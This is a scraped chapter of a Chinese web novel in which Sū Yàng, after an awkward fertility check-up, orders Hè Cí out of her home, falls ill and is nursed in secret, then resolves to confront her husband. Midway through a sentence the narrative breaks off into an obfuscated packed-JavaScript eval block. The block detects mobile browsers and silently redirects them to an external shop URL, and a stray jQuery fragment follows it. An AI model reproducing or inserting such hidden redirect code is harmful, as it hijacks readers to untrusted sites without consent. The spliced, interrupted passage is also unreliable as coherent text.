文趣网 > 其他小说 > 万人迷拿了体验剧本[快穿] > 12. 冒牌枕边人(十二)
    两人一同走进医生办公室复诊。

    坐诊的女医生翻完最后一页报告单,抬眼看向面前的这对男女。男的高大体贴、神情温柔而专注;女的面色苍白,身形纤瘦。

    医生自然而然地将他们当成了一对备孕未果的年轻夫妻,这种组合她在诊室里见得太多了。

    “别着急,”医生将报告单搁到桌角,习惯性地开口安抚,“这次没怀上很正常,双方的身体指标都没什么大问题。放宽心,这种事最怕急,越急越不容易成。”

    苏漾的后背倏地一僵,燥热从耳根处炸开,一路烧过脖颈,烫得她眼前发晕。

    她想开口反驳,想告诉医生他们不是夫妻,想澄清误会,可是话到嘴边,嗓子却像被什么堵住了,一个字都挤不出来。

    贺辞站在她身后半步的位置,脊背同样僵硬。他的视线落在桌面上那一角白纸上,喉结上下滚了一遭,吞咽了某种难以名状的情绪。

    医生丝毫没有察觉两人的窘迫,继续细心叮嘱:“年轻人别太心急,情绪越是紧绷,内分泌越容易紊乱。回去之后作息规律一点,不要熬夜劳累,别喝冰的,少碰咖啡浓茶。至于同房的频率嘛……”

    她抬眼扫了一下病历上的记录,“还算稳定,保持一周两到三次就很好,不用刻意加量,更不要掐着排卵期当成任务来完成。压力太大,反而会影响着床。”

    每一句叮嘱,都像滚烫的烙铁,不偏不倚地落在两人空泛而暧昧的的关系上。

    那些词句明明是对“夫妻”说的,却精准地刺穿了他们之间所有未经言明的、隐秘的日常。

    苏漾咬住下唇,眼睫垂得很低,视线落在自己膝盖上,可余光里却始终逃不开贺辞的袖口。

    他习惯把衬衫袖口卷到小臂中段,露出一截干净利落的腕骨。

    她的视线触到那寸肌肤,立即像被火舌燎到一般弹开,胸腔里闷得发酸,酸意顺着食道往上涌,全堆积在眼眶后面,逼得她眨了又眨。

    医嘱写满半页纸,医生又添了几味调理气血的药,逐一交代剂量和服用方法,最后把笔帽扣上,抬头冲苏漾笑了一下:“小姑娘气血偏虚,回去好好养一养。”

    医生把药方推过来,目光顺势转向贺辞:“你这个当丈夫的得多上点心,每天给她煮一小碗红枣桂圆汤,早上空腹喝效果最好。晚上睡前用热水给她泡泡脚,泡到微微出汗再睡。”

    “她要是不爱吃药膳,你就变着法子换食材,当归炖鸡、黄芪排骨汤、阿胶蒸蛋,轮着来,别让她吃腻了。”

    贺辞站在一旁,听着医生一口一个“丈夫”地安排他。他没有纠正,点了点头,认真记下叮嘱。

    医生继续说,语气轻快而笃定:“心态松下来,该吃吃该睡睡,很快就能如愿怀上的。你们俩看着就有夫妻相,差不了。”

    “谢谢医生。”苏漾低声道了谢,嗓音干涩,每个字都裹着难以掩饰的窘迫。

    两人拿了药单出来,电梯里并排站着,谁也不看谁。

    取药窗口队伍很长,日光从医院落地玻璃涌进来,白晃晃刺眼,他们中间隔着半步的空隙,那点空隙里塞满了说不清的沉默。

    回到家,门锁“咔嗒”落上的瞬间,苏漾转过身。她的面色出奇平静,下午那些慌乱和潮红已经收拾干净。

    “贺辞,”她开口,声音轻而稳,“你现在收拾东西,马上搬走。”

    贺辞身形一震,眼底满是慌乱与不舍。他向前迈了半步,急切开口:“漾漾,我知道我错了,我……”

    “不用道歉。”她打断他,声音依旧轻,却锋利得不容靠近,“你没有资格留在这里,也没有资格再出现在我面前。”

    她的恨意很浅,却密密匝匝。

    恨贺辞越界,恨他明知她认错却从不点破,借着照顾的名义,肆意和她亲密纠缠,纵容这场荒唐持续二十多天。

    可她更恨江屿川。

    恨他自以为是的保护,口口声声说爱她、护她,却从没问过她愿不愿意。他亲手打碎了他们五年的婚姻,亲手将她推向了别人,亲手制造了这场无法挽回的错位。

    他凭什么替她做决定?凭什么以为把她推给贺辞就是对她好?凭什么在她毫不知情的时候,把她的生活、她的感情、她的身体都安排给了另一个男人?

    苏漾垂着眼,声音微微发颤:“我暂时不会去见江屿川,我现在没办法面对他,也没办法面对你们编织的这场骗局。”

    贺辞看着她苍白疲惫的模样,心口刺痛。他想辩解,想挽留,想告诉她,他每一个越界的瞬间都是因为真的动了心而不是因为什么狗屁任务,可最终全部咽了回去。

    他知道,此刻任何辩解、任何挽留,都只会让她更加疲惫、更加反感。

    他转身走进卧室。

    不过几分钟,他拎着简单的行李箱走出来,站在玄关处,深深看了一眼立在客厅中央的她。她的背影笔直,肩膀却还在颤抖,像是用尽了全部力气才维持住那个站姿。

    “漾漾,我走了。你好好照顾自己。药按时吃,有任何事,随时给我打电话。”

    门合上,脚步声沿着走廊渐渐远去,一切归于沉寂。

    屋子里彻底安静下来。真正只剩下苏漾一个人。

    她慢慢走到沙发边坐下来,膝盖发软。

    空旷的房间里,处处是抹不去的生活痕迹。

    餐桌上是他惯用的马克杯,厨房是他收拾干净的灶台,沙发是他常坐的位置,卧室里还残留着他的气息,淡淡的木质香,她闭上眼就能闻见。

    接下来的几天,苏漾陷入了封闭的独处状态。

    外卖盒摞在桌角,每一顿都只动了几筷子就搁下了。窗帘昼夜里都拉着,屋子沉在一片灰蒙蒙的暗色里。困了就睡,醒了就盯着天花板发呆。

    她刻意清空记忆,可清晨温热的粥、深夜温柔的拥抱、山顶缠绵的吻、沙发上慵懒的依偎、浴室里细致的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863212|212106||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    照顾、睡前温柔的呢喃,总在意识松懈时涌回来。

    昼夜颠倒,食量锐减,免疫力终于在第五天夜里崩盘。

    凌晨两点,高烧来得毫无征兆。她浑身先是一阵滚烫,接着骨头缝里窜出寒意,四肢沉得像灌了铅,每一次呼吸都带着胸腔的钝痛。她蜷在被子里瑟瑟发抖,嘴唇干裂起皮。

    意识模糊里她试图翻身找水,手臂却软得抬不起来。泪水不受控制地滚落,湿了枕巾,她喘着气,心里只剩一种近乎放弃的疲惫。

    她以为自己会就这样熬一整夜,无人知晓,无人问津。

    可迷迷糊糊间,她感觉到卧室的门被轻轻推开了。一道轻缓的脚步声走到床边,那种步伐节奏,她听过无数次。

    微凉的手掌贴上她滚烫的额头,短暂停留,紧接着,温毛巾覆上来,慢慢擦拭她的额角、脸颊、颈侧,力道轻柔,耐心细致,一点点帮她物理降温。

    毛巾重新打湿,拧干再覆上来,反复了不知道多少次。

    她意识昏沉,眼皮重得掀不开,只能模糊感知身边有人守着她。

    那人偶尔会停下来,用指背贴一贴她的脸颊试探温度。片刻后,他把她半扶起来,手掌稳稳托着她后脑,药片送到唇边,温水一点点喂进去。

    苦味在舌尖化开,她皱眉想躲,那手掌便轻轻扶正她的脸,拇指擦过她嘴角溢出的水渍。

    全程没有说一个字,可她认得那双手的触感,指尖替她擦过眼泪,掌心替她暖过冰凉的手脚,指节替她拢过散落的碎发。

    她难受得不停落泪,眼角的湿意一次次漫出来。每一次,都会被人用指腹轻轻温柔地擦去,力度轻得像怕弄疼了她。

    天亮时,烧退了。

    阳光从窗帘缝隙漏进来,卧室安安静静。床头柜上一杯温水和两粒药片端端正正摆着,还压着一张便签:“记得吃药。”

    皮肤上仿佛还残留着昨夜的触感,喉咙里有药的苦味。她盯着那杯水很久,心口酸胀得像要裂开,但没有哭。

    她把便签折起来放进抽屉,端起水杯把那两粒药吞下去,药片滑过喉咙时的涩意让她清醒了很多。

    接下来的一周,苏漾慢慢调整自己的状态。

    她不再刻意沉溺内耗,开始按时吃饭,哪怕只是一碗清汤面,也逼着自己吃完。晚上十一点熄灯,早上把点拉开窗帘让阳光涌进来。

    她出门散步,沿着小区后的河堤走很远的路,风吹在脸上时脑子里那些混乱的画面会暂时安静下来。她一点点收拾凌乱的屋子,处理一切有关他的痕迹,还换了一套新的床品。

    逃避只会让伤口化脓,她必须去见江屿川,把五年的婚姻当面清算。

    亏欠也好,误会也好,伤害也好,得有一个句号。她欠自己一个交代,欠那五年时光一个郑重的告别。

    她站在穿衣镜前,看着镜子里那个面色虽然还有些苍白,但眼神已经重新清亮起来的女人,慢慢挺直了脊背。